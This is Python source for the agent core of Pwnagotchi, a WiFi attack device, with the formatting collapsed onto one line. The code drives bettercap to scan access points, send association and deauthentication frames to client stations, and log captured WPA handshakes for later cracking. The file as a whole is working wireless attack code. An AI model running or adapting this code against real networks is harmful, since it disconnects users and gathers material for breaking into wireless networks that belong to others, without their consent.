import time import json import os import re import logging import _thread import pwnagotchi import pwnagotchi.utils as utils import pwnagotchi.plugins as plugins from pwnagotchi.log import LastSession from pwnagotchi.bettercap import Client from pwnagotchi.mesh.utils import AsyncAdvertiser from pwnagotchi.ai.train import AsyncTrainer RECOVERY_DATA_FILE = '/root/.pwnagotchi-recovery' class Agent(Client, AsyncAdvertiser, AsyncTrainer): def __init__(self, view, config, keypair): Client.__init__(self, config['bettercap']['hostname'], config['bettercap']['scheme'], config['bettercap']['port'], config['bettercap']['username'], config['bettercap']['password']) AsyncAdvertiser.__init__(self, config, view, keypair) AsyncTrainer.__init__(self, config) self._started_at = time.time() self._filter = None if config['main']['filter'] is None else re.compile(config['main']['filter']) self._current_channel = 0 self._supported_channels = utils.iface_channels(config['main']['iface']) self._view = view self._access_points = [] self._last_pwnd = None self._history = {} self._handshakes = {} self.last_session = LastSession(self._config) if not os.path.exists(config['bettercap']['handshakes']): os.makedirs(config['bettercap']['handshakes']) def config(self): return self._config def view(self): return self._view def supported_channels(self): return self._supported_channels def set_starting(self): self._view.on_starting() def set_ready(self): plugins.on('ready', self) def set_free_channel(self, channel): self._view.on_free_channel(channel) plugins.on('free_channel', self, channel) def set_bored(self): self._view.on_bored() plugins.on('bored', self) def set_sad(self): self._view.on_sad() plugins.on('sad', self) def set_excited(self): self._view.on_excited() plugins.on('excited', self) def set_lonely(self): self._view.on_lonely() plugins.on('lonely', self) def set_rebooting(self): self._view.on_rebooting() plugins.on('rebooting', self) def setup_events(self): logging.info("connecting to %s ..." % self.url) for tag in self._config['bettercap']['silence']: try: self.run('events.ignore %s' % tag, verbose_errors=False) except Exception as e: pass def _reset_wifi_settings(self): mon_iface = self._config['main']['iface'] self.run('set wifi.interface %s' % mon_iface) self.run('set wifi.ap.ttl %d' % self._config['personality']['ap_ttl']) self.run('set wifi.sta.ttl %d' % self._config['personality']['sta_ttl']) self.run('set wifi.rssi.min %d' % self._config['personality']['min_rssi']) self.run('set wifi.handshakes.file %s' % self._config['bettercap']['handshakes']) self.run('set wifi.handshakes.aggregate false') def start_monitor_mode(self): mon_iface = self._config['main']['iface'] mon_start_cmd = self._config['main']['mon_start_cmd'] restart = not self._config['main']['no_restart'] has_mon = False while has_mon is False: s = self.session() for iface in s['interfaces']: if iface['name'] == mon_iface: logging.info("found monitor interface: %s" % iface['name']) has_mon = True break if has_mon is False: if mon_start_cmd is not None and mon_start_cmd != '': logging.info("starting monitor interface ...") self.run('!%s' % mon_start_cmd) else: logging.info("waiting for monitor interface %s ..." % mon_iface) time.sleep(1) logging.info("supported channels: %s" % self._supported_channels) logging.info("handshakes will be collected inside %s" % self._config['bettercap']['handshakes']) self._reset_wifi_settings() wifi_running = self.is_module_running('wifi') if wifi_running and restart: logging.debug("restarting wifi module ...") self.restart_module('wifi.recon') self.run('wifi.clear') elif not wifi_running: logging.debug("starting wifi module ...") self.start_module('wifi.recon') self.start_advertising() def _wait_bettercap(self): while True: try: s = self.session() return except: logging.info("waiting for bettercap API to be available ...") time.sleep(1) def start(self): self.start_ai() self._wait_bettercap() self.setup_events() self.set_starting() self.start_monitor_mode() self.start_event_polling() # print initial stats self.next_epoch() self.set_ready() def wait_for(self, t, sleeping=True): plugins.on('sleep' if sleeping else 'wait', self, t) self._view.wait(t, sleeping) self._epoch.track(sleep=True, inc=t) def recon(self): recon_time = self._config['personality']['recon_time'] max_inactive = self._config['personality']['max_inactive_scale'] recon_mul = self._config['personality']['recon_inactive_multiplier'] channels = self._config['personality']['channels'] if self._epoch.inactive_for >= max_inactive: recon_time *= recon_mul self._view.set('channel', '*') if not channels: self._current_channel = 0 logging.debug("RECON %ds" % recon_time) self.run('wifi.recon.channel clear') else: logging.debug("RECON %ds ON CHANNELS %s" % (recon_time, ','.join(map(str, channels)))) try: self.run('wifi.recon.channel %s' % ','.join(map(str, channels))) except Exception as e: logging.exception("error") self.wait_for(recon_time, sleeping=False) def _filter_included(self, ap): return self._filter is None or \ self._filter.match(ap['hostname']) is not None or \ self._filter.match(ap['mac']) is not None def set_access_points(self, aps): self._access_points = aps plugins.on('wifi_update', self, aps) self._epoch.observe(aps, list(self._peers.values())) return self._access_points def get_access_points(self): whitelist = self._config['main']['whitelist'] aps = [] try: s = self.session() plugins.on("unfiltered_ap_list", self, s['wifi']['aps']) for ap in s['wifi']['aps']: if ap['hostname'] not in whitelist: if self._filter_included(ap): aps.append(ap) except Exception as e: logging.exception("error") aps.sort(key=lambda ap: ap['channel']) return self.set_access_points(aps) def get_access_points_by_channel(self): aps = self.get_access_points() channels = self._config['personality']['channels'] grouped = {} # group by channel for ap in aps: ch = ap['channel'] # if we're sticking to a channel, skip anything # which is not on that channel if channels != [] and ch not in channels: continue if ch not in grouped: grouped[ch] = [ap] else: grouped[ch].append(ap) # sort by more populated channels return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True) def _find_ap_sta_in(self, station_mac, ap_mac, session): for ap in session['wifi']['aps']: if ap['mac'] == ap_mac: for sta in ap['clients']: if sta['mac'] == station_mac: return (ap, sta) return (ap, {'mac': station_mac, 'vendor': ''}) return None def _update_uptime(self, s): secs = pwnagotchi.uptime() self._view.set('uptime', utils.secs_to_hhmmss(secs)) # self._view.set('epoch', '%04d' % self._epoch.epoch) def _update_counters(self): tot_aps = len(self._access_points) tot_stas = sum(len(ap['clients']) for ap in self._access_points) if self._current_channel == 0: self._view.set('aps', '%d' % tot_aps) self._view.set('sta', '%d' % tot_stas) else: aps_on_channel = len([ap for ap in self._access_points if ap['channel'] == self._current_channel]) stas_on_channel = sum( [len(ap['clients']) for ap in self._access_points if ap['channel'] == self._current_channel]) self._view.set('aps', '%d (%d)' % (aps_on_channel, tot_aps)) self._view.set('sta', '%d (%d)' % (stas_on_channel, tot_stas)) def _update_handshakes(self, new_shakes=0): if new_shakes > 0: self._epoch.track(handshake=True, inc=new_shakes) tot = utils.total_unique_handshakes(self._config['bettercap']['handshakes']) txt = '%d (%d)' % (len(self._handshakes), tot) if self._last_pwnd is not None: txt += ' [%s]' % self._last_pwnd[:20] self._view.set('shakes', txt) if new_shakes > 0: self._view.on_handshakes(new_shakes) def _update_peers(self): self._view.set_closest_peer(self._closest_peer, len(self._peers)) def _save_recovery_data(self): logging.warning("writing recovery data to %s ..." % RECOVERY_DATA_FILE) with open(RECOVERY_DATA_FILE, 'w') as fp: data = { 'started_at': self._started_at, 'epoch': self._epoch.epoch, 'history': self._history, 'handshakes': self._handshakes, 'last_pwnd': self._last_pwnd } json.dump(data, fp) def _load_recovery_data(self, delete=True, no_exceptions=True): try: with open(RECOVERY_DATA_FILE, 'rt') as fp: data = json.load(fp) logging.info("found recovery data: %s" % data) self._started_at = data['started_at'] self._epoch.epoch = data['epoch'] self._handshakes = data['handshakes'] self._history = data['history'] self._last_pwnd = data['last_pwnd'] if delete: logging.info("deleting %s" % RECOVERY_DATA_FILE) os.unlink(RECOVERY_DATA_FILE) except: if not no_exceptions: raise def _event_poller(self): self._load_recovery_data() self.run('events.clear') logging.debug("event polling started ...") while True: time.sleep(1) new_shakes = 0 try: s = self.session() self._update_uptime(s) self._update_advertisement(s) self._update_peers() self._update_counters() for h in [e for e in self.events() if e['tag'] == 'wifi.client.handshake']: filename = h['data']['file'] sta_mac = h['data']['station'] ap_mac = h['data']['ap'] key = "%s -> %s" % (sta_mac, ap_mac) if key not in self._handshakes: self._handshakes[key] = h new_shakes += 1 ap_and_station = self._find_ap_sta_in(sta_mac, ap_mac, s) if ap_and_station is None: logging.warning("!!! captured new handshake: %s !!!" % key) self._last_pwnd = ap_mac plugins.on('handshake', self, filename, ap_mac, sta_mac) else: (ap, sta) = ap_and_station self._last_pwnd = ap['hostname'] if ap['hostname'] != '' and ap[ 'hostname'] != '' else ap_mac logging.warning("!!! captured new handshake on channel %d: %s (%s) -> %s [%s (%s)] !!!" % ( \ ap['channel'], sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'])) plugins.on('handshake', self, filename, ap, sta) except Exception as e: logging.error("error: %s" % e) finally: self._update_handshakes(new_shakes) def start_event_polling(self): _thread.start_new_thread(self._event_poller, ()) def is_module_running(self, module): s = self.session() for m in s['modules']: if m['name'] == module: return m['running'] return False def start_module(self, module): self.run('%s on' % module) def restart_module(self, module): self.run('%s off; %s on' % (module, module)) def _has_handshake(self, bssid): for key in self._handshakes: if bssid.lower() in key: return True return False def _should_interact(self, who): if self._has_handshake(who): return False elif who not in self._history: self._history[who] = 1 return True else: self._history[who] += 1 return self._history[who] < self._config['personality']['max_interactions'] def _on_miss(self, who): logging.info("it looks like %s is not in range anymore :/" % who) self._epoch.track(miss=True) self._view.on_miss(who) def _on_error(self, who, e): error = "%s" % e # when we're trying to associate or deauth something that is not in range anymore # (if we are moving), we get the following error from bettercap: # error 400: 50:c7:bf:2e:d3:37 is an unknown BSSID or it is in the association skip list. if 'is an unknown BSSID' in error: self._on_miss(who) else: logging.error("%s" % e) def associate(self, ap, throttle=0): if self.is_stale(): logging.debug("recon is stale, skipping assoc(%s)" % ap['mac']) return if self._config['personality']['associate'] and self._should_interact(ap['mac']): self._view.on_assoc(ap) try: logging.info("sending association frame to %s (%s %s) on channel %d [%d clients]..." % ( \ ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], len(ap['clients']))) self.run('wifi.assoc %s' % ap['mac']) self._epoch.track(assoc=True) except Exception as e: self._on_error(ap['mac'], e) plugins.on('association', self, ap) if throttle > 0: time.sleep(throttle) self._view.on_normal() def deauth(self, ap, sta, throttle=0): if self.is_stale(): logging.debug("recon is stale, skipping deauth(%s)" % sta['mac']) return if self._config['personality']['deauth'] and self._should_interact(sta['mac']): self._view.on_deauth(sta) try: logging.info("deauthing %s (%s) from %s (%s %s) on channel %d ..." % ( sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'], ap['channel'])) self.run('wifi.deauth %s' % sta['mac']) self._epoch.track(deauth=True) except Exception as e: self._on_error(sta['mac'], e) plugins.on('deauthentication', self, ap, sta) if throttle > 0: time.sleep(throttle) self._view.on_normal() def set_channel(self, channel, verbose=True): if self.is_stale(): logging.debug("recon is stale, skipping set_channel(%d)" % channel) return # if in the previous loop no client stations has been deauthenticated # and only association frames have been sent, we don't need to wait # very long before switching channel as we don't have to wait for # such client stations to reconnect in order to sniff the handshake. wait = 0 if self._epoch.did_deauth: wait = self._config['personality']['hop_recon_time'] elif self._epoch.did_associate: wait = self._config['personality']['min_recon_time'] if channel != self._current_channel: if self._current_channel != 0 and wait > 0: if verbose: logging.info("waiting for %ds on channel %d ..." % (wait, self._current_channel)) else: logging.debug("waiting for %ds on channel %d ..." % (wait, self._current_channel)) self.wait_for(wait) if verbose and self._epoch.any_activity: logging.info("CHANNEL %d" % channel) try: self.run('wifi.recon.channel %d' % channel) self._current_channel = channel self._epoch.track(hop=True) self._view.set('channel', '%d' % channel) plugins.on('channel_hop', self, channel) except Exception as e: logging.error("error: %s" % e) def is_stale(self): return self._epoch.num_missed > self._config['personality']['max_misses_for_recon'] def any_activity(self): return self._epoch.any_activity def _reboot(self): self.set_rebooting() self._save_recovery_data() pwnagotchi.reboot() def next_epoch(self): was_stale = self.is_stale() did_miss = self._epoch.num_missed self._epoch.next() # after X misses during an epoch, set the status to lonely if was_stale: logging.warning("agent missed %d interactions -> lonely" % did_miss) self.set_lonely() # after X times being bored, the status is set to sad elif self._epoch.inactive_for >= self._config['personality']['sad_num_epochs']: logging.warning("%d epochs with no activity -> sad" % self._epoch.inactive_for) self.set_sad() # after X times being inactive, the status is set to bored elif self._epoch.inactive_for >= self._config['personality']['bored_num_epochs']: logging.warning("%d epochs with no activity -> bored" % self._epoch.inactive_for) self.set_bored() # after X times being active, the status is set to happy / excited elif self._epoch.active_for >= self._config['personality']['excited_num_epochs']: logging.warning("%d epochs with activity -> excited" % self._epoch.active_for) self.set_excited() plugins.on('epoch', self, self._epoch.epoch - 1, self._epoch.data()) if self._epoch.blind_for >= self._config['main']['mon_max_blind_epochs']: logging.critical("%d epochs without visible access points -> rebooting ..." % self._epoch.blind_for) self._reboot() self._epoch.blind_for = 0